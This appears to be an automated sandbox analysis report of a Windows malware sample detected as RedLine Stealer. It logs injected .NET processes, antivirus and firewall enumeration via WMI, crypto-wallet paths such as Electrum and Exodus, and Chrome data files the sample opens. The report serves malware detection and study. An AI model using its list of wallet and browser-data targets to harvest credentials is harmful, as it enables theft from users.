Source: C:\Windows\Temp\1234.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\1234.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\1234.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\1234.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\1234.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\1234.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: unknown VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: unknown VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: unknown VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: unknown VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: unknown VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: unknown VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: unknown VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: unknown VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: unknown VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: unknown VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: unknown VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: unknown VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_013BD86B cpuid

0_2_013BD86B

Source: C:\Windows\Temp\123.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_013BC130 GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,DeleteObject,CloseHandle,

0_2_013BC130

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_013AA930 GetVersionExW,

0_2_013AA930

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Source: 123.exe, 00000002.00000002.353750736.0000000000DCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: APPDOMAIN_IDs\Temp\123.exe
Source: file.exe, 00000000.00000003.247172749.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.247655260.0000000004940000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.247392006.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, 123.exe, 00000002.00000002.353750736.0000000000DCB000.00000004.00000020.00020000.00000000.sdmp, 123.exe, 00000002.00000002.353750736.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp, 123.exe, 00000002.00000002.365887055.0000000002A61000.00000004.00000800.00020000.00000000.sdmp, 123.exe, 00000002.00000002.353371878.0000000000AF7000.00000004.00000010.00020000.00000000.sdmp, 123.exe, 00000002.00000002.353656735.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Windows\Temp\123.exe
Source: file.exe, 00000000.00000003.242863242.00000000029F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.247655260.000000000495D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.247361002.0000000000690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.247655260.0000000004940000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.247412502.000000000076D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.242635859.0000000004147000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.247001681.000000000076D000.00000004.00000020.00020000.00000000.sdmp, 123.exe, 00000002.00000002.510840476.0000000006240000.00000004.00000020.00020000.00000000.sdmp, 123.exe, 00000002.00000002.507564332.0000000005E45000.00000004.00000020.00020000.00000000.sdmp, 123.exe, 00000002.00000002.365887055.0000000002D4D000.00000004.00000800.00020000.00000000.sdmp, 123.exe, 00000002.00000002.353750736.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 123.exe

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 1.2.11.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.11.exe.42ca70.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.11.exe.25c0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.11.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000003.249782385.00000000025C2000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.426722935.0000000000402000.00000020.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.447067002.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.447067002.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegSvcs.exe, 00000005.00000002.431344393.0000000000E84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum\wallets\**
Source: RegSvcs.exe, 00000005.00000002.431344393.0000000000E84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum\wallets\**
Source: RegSvcs.exe, 00000005.00000002.447067002.0000000002C04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: cjelfplplebdjjenllpjcblmjkfcffne\|JaxxxLiberty
Source: RegSvcs.exe, 00000005.00000002.447067002.0000000002C71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: RegSvcs.exe, 00000005.00000002.447067002.0000000002C71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum\wallets
Source: RegSvcs.exe, 00000005.00000002.447067002.0000000002C71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: RegSvcs.exe, 00000005.00000002.447067002.0000000002C71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum\wallets
Source: RegSvcs.exe, 00000005.00000002.447067002.0000000002C71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: q5C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\LOG
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DownloadMetadata
